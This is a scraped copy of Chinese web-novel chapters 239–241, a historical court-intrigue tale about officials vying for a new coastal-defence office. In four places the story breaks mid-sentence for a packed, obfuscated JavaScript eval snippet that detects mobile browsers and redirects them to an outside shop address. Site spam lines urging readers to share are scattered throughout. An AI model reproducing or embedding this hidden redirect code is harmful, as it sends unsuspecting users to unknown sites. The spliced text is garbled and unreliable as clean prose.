他们以为自己至少要等上一年半载等陆明渊将一切都打理妥当才能分到一些残羹冷炙。 没想到这最大的肥肉竟然就这么直接递到了嘴边! “当然” 陆明渊转过身脸上的笑意变得意味深长。 “首航的风险想必二位比我更清楚。” “风高浪急人心叵测海外是蛮荒之地亦是法外之地。” “这一趟出去是满载而归还是一去不回皆是未知之数。” “利润与风险永远对等。” “我给你们三天时间考虑。三天之后派人来府衙给我一个确切的消息。” “是求稳等着分享那一成干股。还是想搏一把吃这第一口肉你们自己选。” 说完他便不再多言重新坐回案后挥了挥手。 “送客。” 这一次的“送客”不再是驱逐而是真正的结束会面。 沈子墨与陈煜颤颤巍巍地站起身躬身行礼然后一步一步退出了书房。 当他们重新站在府衙外的阳光下时只觉得恍如隔世。 后背的衣衫早已被冷汗浸透紧紧地贴在身上被风一吹凉得刺骨。 但他们的心里却有一团火正熊熊燃烧起来。 …… 两天后。 八百里加急的军报如同一匹脱缰的野马冲入了京城的城门。 温州大捷! 冠文伯陆明渊荡平舟山汪逆斩倭寇三千余! 消息传开 城东严府。 “父亲!父亲!大捷!天大的好消息!” 严世蕃几乎是撞进了严嵩的书房他脸上带着毫不掩饰的兴奋与潮红手中高高举着一份抄录的塘报。 “陆明渊用了半年时间将盘踞温州几十年的倭寇一举清缴!‘漕海一体’‘漕海一体’有望了啊父亲!” 严世蕃激动无比颇为兴奋! 在他看来国策推行得越顺利他们能从中攫取的利益就越大。 “温州知府、温州同知皆由他一人兼领这本就不合我大乾律法。” “如今大功告成正是我们安插人手的最好时机!” “让胡宗宪上道折子举荐一个我们自己人过去 你的朋友正在书荒,快去帮帮他吧 接管温州将这开海的钱袋子牢牢攥在我们手里!” 然而首座之上那位权倾朝野二十载的内阁首辅严嵩却没有半分喜色。 他从儿子手中接过那份塘报浑浊的老眼在上面缓缓扫过眉头却越皱越紧。 书房内光线昏暗他那张布满皱纹的脸在阴影中显得愈发晦暗不明。 “东楼” 他缓缓开口声音沙哑而低沉。 “你只看到了大捷却没看到这大捷背后的东西。” 他将塘报轻轻放在桌上枯瘦的手指在上面点了点。 “陆明渊上任半年平了舟山。若是再给他一年半载这东南沿海还能剩下多少倭寇?” “到时候胡宗宪这个东南柱石还值几分分量?” “我们每年以清缴倭寇为名向户部、向地方摊派的那些银子又该从何而来?” 严嵩的声音不大却像一盆冰水兜头浇在了严世蕃的头上。 倭患对于大乾是心腹大患但对于他们严党而言却是一笔取之不尽用之不竭的买卖。 只要倭患在胡宗宪的地位就稳如泰山东南的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777329|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军政财权就牢牢掌握在他们手中。 所以严嵩不希望看到倭寇被彻底肃清。 一个被完全治好的病人是不再需要大夫的。 严世蕃脸上的激动瞬间凝固他不是蠢人立刻明白了父亲的深意。 但与守成持重的严嵩不同他的眼中燃烧着的是更加炽热的野心和欲望。 “父亲此言差矣!” 他上前一步压低了声音眼中闪烁着狼一般的绿光。 “时代变了!祸福相依我们不能再用老眼光看问题了!” “‘漕海一体’是国策更是陛下的意志!您还没看明白吗?” “陛下为了推行此策连汪家这种经营百年的地头蛇都说杀就杀眼皮都不眨一下!这说明什么?” “说明陛下已经等不及了!” “东南沿海那几家哪个屁股底下是干净的?真要彻查起来谁都跑不掉!” “我们若是还想着靠‘倭患’来把持权柄只怕下一个被陛下拿来开刀的就是我们!” 严世蕃的话如同一记重锤敲在了严嵩的心上。 他看着自己这个虽然狂悖却也敏锐无比的儿子 “那依你之见该当如何?” “拉拢他!” 严世蕃斩钉截铁地说道。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “趁着徐阶那些清流还没来得及下手,趁着陆明渊在东南根基未稳,将他彻底拉到我们这条船上来!” “或者,就算不能让他成为我们的人,也要想办法与他扯上关系,让他办成的这件事,有我们的一份天大功劳!” “与其阻挡这股势在必行的滔天巨浪,不如顺势而为,站到浪头上去!” “这漕海一体的买卖,我们不仅要做,还要做最大的那个庄家!” 严嵩浑浊的眼珠转了转,终于,他缓缓地点了点头,认可了儿子的判断。 他重新拿起那份奏折,仔细地又看了一遍。 这一次,他的目光停留在了奏折末尾,陆明渊请求设立新机构的条陈上。 “你说得对。” 严嵩的手指,重重地落在了“镇海提督司”五个字上。 “其他的,都可以谈。但这镇海司,必须捏在我们手里。” 他抬起眼,看向严世蕃,眼中闪过一丝老辣的精光。 “兵部尚书是张居正,陛下倚重清流,但绝不会把刀柄和钱袋子同时交到他们手上。” “你去上道折子,就推举胡宗宪兼领这个镇海提督。陛下权衡之下,多半会允。” “记住,无论如何,绝不能让清流的人,沾染这个镇海司分毫!” “这是我们的底线!” 严世蕃闻言,脸上重新露出了兴奋而狰狞的笑容。 “儿子明白!” 他躬身一揖,眼中满是即将大展拳脚的渴望。 一场由温州海疆的血战所引发的**风暴,正在千里之外的京城,悄然拉开了序幕。 第239章 这一招,太高了! 与城东严府那几乎要溢出墙外的得意与喧嚣不同。 坐落于京城西南一隅的裕王府,此刻却沉浸在一片静谧之中。 府内的秋色已深,几株上了年岁的银杏树,将满地铺就了碎金。 书房内,檀香的青烟勾勒着禅意。 内阁次辅徐阶,正襟危坐,手中捧着一杯早已凉透的茶,目光却落在对面那位年轻的兵部尚书身上。 张居正,字叔大。 这位日后足以撬动整个大乾王朝根基的年轻人,此刻正垂着眼帘,看着摊在面前的一份手书。 那并非官方的塘报,而是由谭伦自温州发回的密信。 信上的字迹带着几分仓促,将温州之战的内情、陆明渊的手段,以及那份石破天惊的奏折条陈,剖析得淋漓尽致。 “镇海提督司…… 许久,张居正才缓缓开口,吐出的五个字,仿佛带着千钧之重。 他的手指在信纸上那几个字上空虚虚划过。 眼神里没有捷报传来时的喜悦,只有一种洞穿了棋局的深沉与锐利。 “陆明渊好大的手笔,好深的心思。 “他这是要在东南,另起一座山头。 一旁的户部尚书高拱,性子最是急躁火爆,闻言忍不住一拍大腿。 “好事啊!这把刀,总比攥在严党手里强!依我看,咱们就该趁此机会,上书陛下,将这镇海司牢牢抓过来! “陆明渊是皇党,谭伦是咱们的人,这天赐良机,岂能错过! 张居正抬起眼,看了这位性如烈火的同僚一眼,摇了摇头。 “孟诸兄,你把事情想得太简单了。 他的声音平静,却带着不容置疑的决断力。 “我领着兵部,你掌着户部,我大乾的刀把子和钱袋子,已经有两样捏在了我们这边。 “陛下……是绝不会再将这第三样,这未来的海上钱袋,也交到我们手里的。 “我们进一步,严党便也要进一步,这才是陛下愿意看到的局面。 “我们若想一口吞下整个镇海司,不仅吃不下,反而会惹得陛下猜忌。 高拱的脸色涨红,张了张嘴,却终究没能说出反驳的话来。 他知道,张居正说的是对的。 那位深居西苑,一心问道求玄的皇帝陛下,最擅长的便是权衡之道。 书房内再次陷入沉默。 良久,一直闭目养神的徐阶,终于缓缓睁开了眼睛。 他那 听说看这本书的人都是很幸运的,分享后你的运气会更棒 双看似浑浊的眼中,精光一闪而逝。 “叔大,你既已看破此节,想必心中已有定计了吧?” 张居正微微颔首,目光重新落回那份密信上,语气笃定。 “既然我们不能做这个庄家,那便让一个谁也说不出不是的人来做。” 他顿了顿,一字一句地说道:“胡宗宪。” “举荐胡宗宪,兼领镇海提督司总提督一职。” 此言一出,连高拱都愣住了。 胡宗宪,浙直总督,东南的擎天玉柱,名义上,他是严嵩的学生,算是严党的人。 让严党的人去执掌这至关重要的镇海司? “叔大,你糊涂了?” 高拱失声道。 “不。” 张居正摇了摇头,眼神清明无比。 “我没有糊涂,孟诸兄,你也没有听错。正是要举荐胡宗宪。” 他站起身,踱了两步,声音在空旷的书房里回响。 “其一,胡宗宪名声在外,战功赫赫,由他统领镇海司清剿倭寇,名正言顺,满朝文武,便是严嵩自己,也挑不出半个不字。” “其二,也是最重要的一点。胡宗宪此人,心中装的是东南的安危,是大乾的社稷,而非严党的一己私利。” “他与严嵩,不过是互相利用。由他掌舵,至少能保证‘漕海一体’这艘大船,不会走得太偏。” “其三,”张居正的嘴角,勾起一抹意味深长的弧度。 “胡宗宪如今已是总督之尊,权柄之重,早已让陛下心中存了芥蒂。” “我们再给他添一把火,让他总督之上,再加提督之衔。” “陛下固然会允准,可心中的那根刺,只会越扎越深。” 一番话,说得高拱目瞪口呆,背心发凉。 他只看到了眼前的得失,而张居正和徐阶,看到的却是三年、五年之后,那一步步铺就的杀局。 徐阶缓缓点头,苍老的脸上露出一丝赞许的微笑。 “善。胡宗宪为总提督,那么副提督的人选……” 张居正接口道。 “便让谭伦去。再给陆明渊也挂个副提督的衔。” “胡宗宪要顾全大局,便不得不用他们。如此一来,镇海司虽不在我手,却也与我等有了千丝万缕的联系。” “进,可分漕海之利;退,可借胡宗宪之刀,斩严党之根。这盘棋,我们便活了。” 徐阶终于端起茶杯,轻轻抿了一口,尽管茶水冰凉,他的心中却是一片滚 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 烫。 “就这么办。明日早朝,由你来提。” …… 紫禁城,西苑。 万寿宫内,龙涎香的烟气混合着丹炉里飘出的硫磺与金石之气,形成一种诡异而神圣的味道。 嘉靖皇帝盘膝坐在八卦蒲团之上,鹤发童颜,双目紧闭,宝相庄严,仿佛已是半个神仙。 一名小太监屏着呼吸,碎步无声地滑了进来,跪在丹炉之外,双手高高捧着一个巴掌大小的黑漆木盒。 “陛下,锦衣卫八百里加急密奏。” 嘉靖的眼皮动也未动,只是从鼻腔里轻轻“嗯”了一声。 小太监不敢起身,就那么跪着。 直到一炉丹药炼完,嘉靖缓缓收功,吐出一口悠长的白气,才淡然道:“呈上来。” 木盒被打开,里面是一卷用蜜蜡封口的细细纸卷。 嘉靖接过,捻开封口,展开了那张薄如蝉翼的纸。 只看了一眼,他整个人的气息就变了。 那股仿佛与天地同游的出尘仙气,瞬间消失得无影无踪。 取而代之的,是一种令人心胆俱裂的森然帝威。 整个万寿宫的温度,仿佛都骤然下降了十几度。 跪在地上的小太监,连头都不敢抬,身子却抖得如同风中落叶。 密奏上的内容很简单,只有寥寥数语。 说的是总督府内有倭寇内应。 胡宗宪! 嘉靖的眼中,没有愤怒,只有一片深不见底的冰冷。 胡宗宪是他放在东南的一步棋,绝对不能出现任何差错! 总督府的内应? 是确有其事,还是有人设局栽赃? 徐阶? 嘉靖的脑海中,瞬间闪过朝堂上那张老谋深算的面孔。 无论是谁,敢动胡宗宪,就是动摇他的国策,就是挑战他的底线! 他缓缓将那张纸卷重新卷起,放在了身旁的琉璃盏中,任由烛火将其吞噬,化为一缕青烟。 “知道了。” 他淡淡地说了三个字,重新闭上了眼睛,仿佛什么都没有发生过。 他在等! 等明日的朝会,等那些自以为是的臣子们,自己跳出来,让他看清楚,到底是谁,在背后搞鬼。 …… 翌日,金銮殿。 钟鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777330|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐鸣,百官肃立。 大乾王朝的权力中枢,在清晨的第一缕阳光中,开始了它新一天的运转。 “有事早奏,无事退朝— 你的朋友正在书荒,快去帮帮他吧 —” 尖细的唱喏声刚刚落下,严世蕃便迫不及待地从班列中走了出来。 他今日穿着一身崭新的绯红官袍,满面红光,神采飞扬。 “臣,严世蕃,恭贺陛下!贺我大乾天威!” 他声音洪亮,带着毫不掩饰的激动。 “温州府冠文伯陆明渊,上任半载,荡平舟山汪逆,斩倭三千,扬我国威!” “此乃陛下天恩浩荡,神武所致!” “臣以为,陆明渊大功于社稷,‘代领知府’四字,已不足以彰其功,当去‘代’字,实授温州知府,以安抚功臣之心!” 此言一出,严党一系的官员立刻纷纷出列附和。 一时间,金銮殿上全是赞颂之声,仿佛这天大的功劳,全是他们严党运筹帷幄得来的一般。 龙椅上的嘉靖,不置可否。 就在此时,一个清朗沉稳的声音,压过了所有的嘈杂。 “臣,兵部尚书张居正,附议。” 张居正缓步出列,身姿挺拔如松。 他先是对着龙椅躬身一揖,随即朗声道。 “严大人所言极是。陆伯爷此番功绩,彪炳史册,擢升实授,理所应当。然,此仅其功之一也。” “臣手中,亦有温州府送上之简报。‘漕海一体’推行一月以来,温州一府之税入,已抵去年一季之总和!” “市舶司重开,商旅辐辏,百业兴旺!” “这说明,陛下钦定之国策,不仅利国,更是富民之善政!陆伯爷不仅是能臣,更是干臣!” 他这番话,先是肯定了严党的提议,随即又将功劳拔高到了“国策”与“陛下”的层面上。 瞬间便将严党想要独揽功劳的企图化解于无形。 严世蕃的脸色微微一僵。 张居正却仿佛没有看到,话锋一转,声音变得更加铿锵有力。 “陆伯爷奏折之中,还提请设立‘镇海提督司’,专司沿海剿倭、巡查航路之事,臣以为,此乃高瞻远瞩之策!” “倭患一日不除,海疆一日不宁,漕海一体便永无安宁之日!设立镇海司,势在必行!” 他微微停顿,目光扫过整个大殿,最后定格在龙椅的方向。 “臣以为,镇海提督司总提督一职,非胡宗宪莫属。” “**督坐镇东南数年,于剿倭之事,经验无人能及。由他总领镇海司,统筹全局,方能上不负陛下所托,下可安万千黎民!” “至于副手,臣举荐台州知府谭伦,为副提督,监察军纪,巡视地方。再以冠文伯陆明渊为副提督,总理温州海防!” “如此,则老成持重者有之,锐意进取者有之,文武兼备,方为万全之策!” 张居正的声音,在金碧辉煌的大殿中回荡,每一个字,都掷地有声。 整个金銮殿,瞬间陷入了一片死寂。 所有人都被张居正这手出人意料的牌,给打蒙了。 严党众人面面相觑,他们本来是想借着镇海司安插自己人。 没想到张居正直接把严党柱石胡宗宪给抬了出来,让他们根本无法反驳。 反驳,就是质疑胡宗宪的能力,就是否定自己人。 而清流一派,也是心中巨震,看着张居正的背影,眼神里充满了敬畏。 这一招,太高了! 徐阶站在百官之首,眼观鼻,鼻观心,仿佛入定了一般。 但那微微翘起的嘴角,却暴露了他此刻的心情。 所有的目光,最终都汇聚到了那至高无上的龙椅之上。 第240章 真正的棋局,才刚刚展开 人群中,严世蕃那双略显浮肿的眼睛里,精光一闪。 他猛然间惊醒,张居正这一手,不是抬举,是捧杀! 胡宗宪是父亲的门生,是严党在东南的倚仗。 可这根柱子若是太高,高到遮蔽了天日,那第一个想将它劈断的,必然是龙椅上的那位陛下! 清流这是阳谋,是借严党之手,为胡宗宪掘墓! 他们得不到镇海司,便要毁掉严党在东南最大的棋子! 好个张叔大,好毒的心肠! “陛下!” 严世蕃再次出列,声音恳切。 “张尚书所言,臣不敢苟同!” 他先是深深一揖,姿态放得极低。 “**督乃国之栋梁,坐镇东南,统揽全局,抗倭大事千头万绪,早已是宵衣旰食,殚精竭虑。” “如今,‘漕海一体’这等关乎国计民生的新政,亦压在他的肩上。” “陛下爱护臣子,体恤功臣,又岂能再将这镇海提督司的重担,一并加于**督之身?” “此非爱护,实为严苛啊!” 这番话,说得冠冕堂皇,情真意切。 严世蕃话锋一转,目光灼灼地看向龙椅。 “陛下,镇海提督司,乃新生之事物,专为护航剿倭而设,正需一员冲锋陷阵、锐意进取的年轻将领来执掌!” “臣以为,国策推行至今,陆明渊陆伯爷居功至伟,然其终究是文臣,于行伍之事尚需历练。镇海司,当以武将为先!” 他顿了顿,声音陡然拔高。 “臣举荐,台州府总兵郑玉峰!郑总兵驻防台州,屡破倭寇,练兵有方,由其执掌镇海司,方能如臂使指,所向披靡!此乃上策!” 郑玉峰! 这个名字一出,严党一派顿时精神大振。 谁人不知,台州总兵郑玉峰的夫人,乃是严世蕃的远房表妹。 这郑玉峰,虽非严党核心,却也是严世蕃一手提拔起来的嫡系! “臣附议!” “郑总兵年富力强,战功卓著,确为最佳人选!” 严党官员纷纷出列,一时间,金銮殿上风向陡转。 “荒唐!” 一声怒斥,如平地惊雷。 众人循声望去,只见都察院一名以耿直著称的御史,面色铁青地走了出来。 “严侍郎此言,是陷**督于不忠,还是陷陛下于不智?” 那御史毫不畏惧地迎上严世蕃的目光,朗声道。 “抗 你的朋友正在书荒,快去帮帮他吧 倭乃东南第一要务**督总揽全局镇海司为剿倭利器岂有身首分离之理?” “若总督之令提督可不从这镇海司到底是剿倭之军还是拥兵自重之患?” 御史冷笑一声话语如刀。 “郑总兵确为良将然其与严侍郎的裙带之亲满朝皆知。” “国之重器岂能因人情私谊而授?若开此例我大乾朝堂成何体统!” “你……”严世蕃脸色涨成了猪肝色。 清流一派的官员见状立刻群起而攻之。 “正是此理!镇海司必须归于总督节制之下方能令行禁止!” “陆伯爷以文御武创此大功正说明‘漕海一体’非纯粹兵事更需统筹经济民生。” “**督为封疆大吏高屋建瓴陆伯爷在前冲锋陷阵又有谭公巡视监察此方为万全之策!” 一时间金銮殿变成了唇枪舌剑的战场。 严党与清流为了这个刚刚在奏折上诞生的“镇海提督司” 龙椅之上嘉靖透过珠帘冷冷地看着底下那一张张或激动、或愤怒、或算计的脸。 他的手指在御座的龙首扶手上轻轻地敲击着发出极有韵律的轻响。 一群蠢物。 嘉靖心中冷笑。 锦衣卫的密报昨夜送到京都。 总督府内部有倭寇内应! 在事情没有查清楚之前镇海司这把刀绝不能交到胡宗宪的手上。 但也绝不能直接落入严党或是清流任何一方的口袋里。 如今严世蕃和张居正都举荐胡宗宪提领镇海司这说明他们都不知道胡宗宪和倭寇扯上了关系! 这同样也说明了一件事! 总督府内的倭寇不是任何一方构陷! 这是却有此案! 他要先派陆炳去一趟浙江将此案彻查到底! 想到这里嘉靖敲击龙首的手指停了下来。 整个大殿瞬间鸦雀无声。 “够了。” 一个平静却带着不容置疑的威严的声音缓缓响起。 “温州府冠文伯陆明渊清缴汪逆重开市舶于国有功于民有利。” “传朕旨意。” 所有官员包括严世蕃和张居正都立刻躬身肃立垂首听旨。 “擢陆明渊实授温州知府。其爵位亦当**罔替以彰其功。” 此言一出众人心中一凛。 你的朋友正在书荒,快去帮帮他吧 实授知府是意料之中,但这“**罔替”四个字,却是天大的恩宠! 意味着陆明渊的冠文伯爵位,可以代代相传。 这对于一个毫无根基的寒门士子而言,不啻于一步登天! 严世蕃的眼角抽搐了一下,却不敢有任何异议。 嘉靖的声音继续响起,却转向了另一方。 “温州府百废待兴,陆明渊年轻,还需老成之人辅佐。” “着吏部举荐一人,任温州府同知,协助知府,总理民政。” 这是……给严党的好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777331|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 吏部尚书是严嵩的人,这个温州同知的位置,等于是直接塞给了严党一个钉子! 徐阶的眉毛微微一动,却依旧不动声色。 “至于镇海提督司……” 嘉靖拖长了语调,所有人的心都提到了嗓子眼。 “此事,关乎国策之本,海疆之安,不可草率。” “着吏部、户部会商,参照卫所旧制与总督府军规,草拟镇海司之章程、员额、饷需,一月内呈报。” “待章程议定,再行定夺总提督人选。” 把皮球踢回去了! 严党和清流的人,心中同时闪过这个念头。 但谁也不敢说半个不字。皇帝说要从长计议,那就是金科玉律。 然而,嘉靖的下一句话,却让所有人再次感到了意外。 “然,倭寇不靖,海患不等人。温州之战,尚有三千倭寇俘虏亟待处置,此为当务之急。” “朕命,陆明渊暂代镇海提督司之权,节制温州沿海卫所、水师,专司此事!” “着台州知府谭伦,即刻启程,前往温州,以监军之职,协助陆明渊处置俘虏,并巡查地方,安抚民心!” 整个金銮殿,陷入了一种诡异的宁静。 嘉靖这一手,实在是太高明了! 他没有任命总提督,让严党和清流的争斗,暂时落在了空处。 他擢升了陆明渊,给了天大的恩宠,却又立刻派了一个吏部举荐的同知去掣肘,这是敲打,也是平衡。 最关键的是,他将镇海司的“权”,暂时交给了陆明渊,却又只给了他一个明确的任务——处置俘虏。 这既是考验,也是限制。 同时,他又派了清流的骨干谭伦去做监军,名为“协助”,实为“监视”与“分享”,让清流也分到了一杯羹。 一碗水,端得滴水不漏。 严世蕃的脸色阴晴不定,最终还是躬身领旨。 虽然没能拿下镇海司,但至少在温州安**了自己的人,而且章程由吏部主导,未来还有翻盘的机会。 而张居正和徐阶,则对视了一眼,都在对方的眼中看到了一丝了然的笑意。 陛下,终究是陛下。 虽然没能一步到位将胡宗宪推上高台,但这个结果,已经是眼下能争取到的最好局面。 陆明渊手握实权,谭伦近在咫尺。 这盘棋,非但没有死,反而更加活了。 随着太监那声“退朝”的悠长唱喏,百官缓缓散去,每个人都心事重重。 一场围绕着镇海司的朝堂风暴,暂时落下了帷幕。 但所有人都知道,这只是一个开始。 真正的棋局,才刚刚展开。 而千里之外,那个搅动了整个大乾风云的年轻人,对此,还一无所知。 第241章 圣旨到!大肆封赏! 京城的风,带着初秋的凉意,吹过宫城的角楼。 拂过散朝官员们身上质料各异的官袍,却吹不散他们心头的燥热与算计。 严世蕃走在丹陛之下,那张略显浮肿的脸上,阴晴不定。 他感觉自己像是用尽全力打出一拳,却砸在了一团棉花上。 力道被卸去了大半,只剩下些许微不足道的回响——那个温州同知的位置。 聊胜于无,却也仅此而已。 回到严府,卸下朝服,严嵩那张沟壑纵横的老脸在昏暗的书房里显得格外幽深。 他听完严世蕃的叙述,没有动怒,只是端起茶盏,用杯盖轻轻撇去浮沫。 “陛下……终究是陛下。 严嵩的声音沙哑而平静。 “他给了陆明渊天大的恩宠,也给他戴上了最重的枷锁。**罔替,是荣耀,也是一道催命符。 “从此以后,陆明渊的荣辱,便与国同休,再无退路。 “可镇海司……严世蕃心有不甘。 “镇海司是新事物,是陛下手里的一把新刀。新刀未开刃,他谁都不会给。 严嵩放下茶杯,浑浊的眼中闪过一丝与年龄不符的锐利。 “他把章程之事交给了吏部,这就是机会。但光有章程还不够,温州那颗钉子,必须钉得深,钉得牢! 严世蕃心领神会:“父亲的意思是? “陆明渊是寒门出身,骤登高位,根基浅薄。他身边缺人,更缺一个能让他‘信服’,又能为我所用的人。 严嵩缓缓道。 “温州同知,不能派个寻常的官吏去。要派,就派一个让他陆明渊挑不出错,甚至要以礼相待的人。 严世蕃的脑海中瞬间闪过一个名字。 “父亲是说……崔颖? “不错。 严嵩点了点头,脸上露出一丝满意的微笑。 “清河崔氏的嫡子,五年前的榜眼,诗文冠绝京华,如今在户部,也算历练了几年。 “他出身高贵,才华横溢,又是我的门生。这样的人去做陆明渊的副手,陆明渊也难以挑错 “他若慢待,就是不敬士林清流;他若敬重,这温州府的政务,便有我严党一半的话语权。 严世蕃眼睛一亮,抚掌大笑。 “妙!父亲此计甚妙!崔颖此人,心高气傲,自诩不凡,让他去给一个比他还年轻的毛头小子做副手,他心里定然不服。 “只要稍加挑拨,便能让 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 温州府衙内斗不休,届时,陆明渊还哪有精力去管什么镇海司! 当夜,户部给事中崔颖被一顶小轿,悄无声息地抬进了严府。 书房内,烛火通明。 崔颖,字子瑜,身着一件月白色的长衫,面如冠玉,目若朗星。 站在那里,自有一股世家子弟的风流与傲气。 他虽是严嵩门生,但骨子里,始终以清河崔氏的百年门楣为荣。 “老师深夜召见,不知有何吩咐? 崔颖躬身行礼,不卑不亢。 严嵩没有直接回答,而是从书案后的一个紫檀木盒中,取出了一柄古意盎然的长剑。 剑鞘由鲨鱼皮包裹,镶嵌着七颗暗淡的宝石,一股久经沙场的铁血之气扑面而来。 “子瑜,你可知此剑来历? 崔颖目光一凝,仔细端详片刻,沉声道。 “看此形制,似是前朝之物。剑柄龙吞,非王侯不可佩。 “若学生没有看错,这莫非是……前朝冠军侯霍去病‘斩胡’之佩剑? “好眼力。严嵩赞许道,“此剑,正是‘斩胡’。封狼居胥,何等功业!可惜,英雄早逝,宝剑蒙尘。 他将剑递到崔颖面前。 崔颖下意识地伸手接过,只觉手腕一沉,一股冰凉的触感从剑鞘传来。 他仿佛能感受到千年前那金戈铁马的岁月。 “老师,这…… 严嵩的目光变得灼热起来,声音也带上了一种蛊惑人心的力量。 “如今,东南倭患,甚于当年北境之胡。朝廷新设镇海司,推行‘漕海一体’,此乃开天辟地之大事! “陆明渊虽有小功,却不过是侥幸之徒,岂能担此重任? 他向前一步,紧紧盯着崔颖的眼睛。 “子瑜,你出身名门,才高八斗,岂能久居于户部,与那些钱粮俗物为伴? “大丈夫当带三尺剑,立不世之功!今,老夫举荐你出任温州府同知,辅佐陆明渊。 听到“辅佐 严嵩将他的神色尽收眼底,话锋一转,声音陡然拔高。 “名为辅佐,实为取而代之!陆明渊不过是探路石,而你,才是那柄真正的利剑! “老夫希望你,能带着这柄‘斩胡’剑,去斩开‘漕海一体’的万丈波涛,去斩断那些盘踞在东南的魑魅魍魉! “他日功成,你的名字,将与冠军侯一般,永载史册,光耀你崔 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 氏门楣! 一番话,如洪钟大吕,在崔颖心中轰然炸响。 “斩开波涛……永载史册…… 他低头看着手中的“斩胡古剑,胸中一股压抑已久的豪情壮志,被瞬间点燃。 是啊,我崔颖,清河崔氏的嫡子,大乾的榜眼,凭什么要屈居人下? 那陆明渊不过一介村夫,侥幸得势,我为何不能取而代之? “学生……愿往! 崔颖握紧了剑柄,眼中燃起了熊熊的野心之火。 “定不负老师厚望! 严嵩看着他激荡的神情,满意地捋了捋胡须。 年轻人,终究是年轻人。 功名利禄,青史留名,便是最好的诱饵。 而在严府的烛火摇曳之时,皇城深处,乾清宫西暖阁内,却是一片清冷。 嘉靖帝一身玄色道袍,盘膝坐在蒲团上,面前的丹炉里,青烟袅袅。 “陆炳。 他淡淡地开口,眼睛却未曾睁开。 阴影中,一个身着飞鱼服,腰佩绣春刀的身影如鬼魅般出现,单膝跪地,头颅深埋。 “臣在。 “去杭州。 嘉靖的声音没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777332|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一丝波澜。 “总督府,有倭寇的内应。朕要你把这根钉子,给朕**。 “遵旨。 陆炳的声音同样没有情绪,像是一柄出鞘的刀。 “记住,朕要活的,也要他背后所有的人和事。此事,不得让胡宗宪知晓,也不得让严党、清流任何一方察觉。 “臣,明白。 “去吧。 陆炳叩首,起身,悄无声息地退入阴影,仿佛从未出现过。 嘉靖这才缓缓睁开眼睛,珠帘般的目光穿透了袅袅的青烟,望向东南方向。 棋子,都已落位。现在,该看你们如何下了。 三日后,杭州府。 一艘不起眼的官船悄然靠岸,陆炳带着十余名心腹干将,没有惊动任何地方官府,径直闯入了杭州府锦衣卫千户所。 当值的锦衣卫百户看到陆炳那张冷峻的脸和腰间的指挥使令牌时,双腿一软,差点跪在地上。 “指……指挥使大人! 陆炳看都未看他一眼,只吐出两个字:“案牍库。 半个时辰后,锦衣卫衙门的案牍库被彻底封锁。 陆炳以及他带来的北镇抚司校尉,扑向了那堆积如山的卷宗。 “调总督府近五年所有属 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 官、幕僚、仆役的出入记录!” “调浙江沿海卫所近五年所有与倭寇的交战记录,包括战果、损失、时间、地点!” “所有塘报、密信,一字不落!” 陆炳的命令简洁而清晰。 他自己则搬了张椅子,坐在案牍库的正中央,一本本地翻阅着那些已经泛黄的卷宗。 让目光如鹰,不放过任何一个可疑的名字,任何一个不合常理的时间点。 整个案牍库,只剩下纸张翻动的沙沙声和校尉们低沉的应答声。 一场无声的风暴,正在杭州城的暗流之下,悄然酝酿。 又过了两日,温州府。 秋日高爽,惠风和畅。 温州府衙门前,早已是人山人海,百姓们扶老携幼,争相前来。 他们都想要一睹那位为他们带来安宁与富足的陆青天的风采。 当礼部官员在香案前,展开那卷明黄的圣旨,用其特有的尖细嗓音高声唱喏时,整个广场都安静了下来。 “奉天承运皇帝,诏曰:” “温州府冠文伯陆明渊,清缴汪逆,重开市舶,于国有功,于民有利……擢陆明渊,实授温州知府!” “其冠文伯爵位,**罔替,食禄一千五百户!” 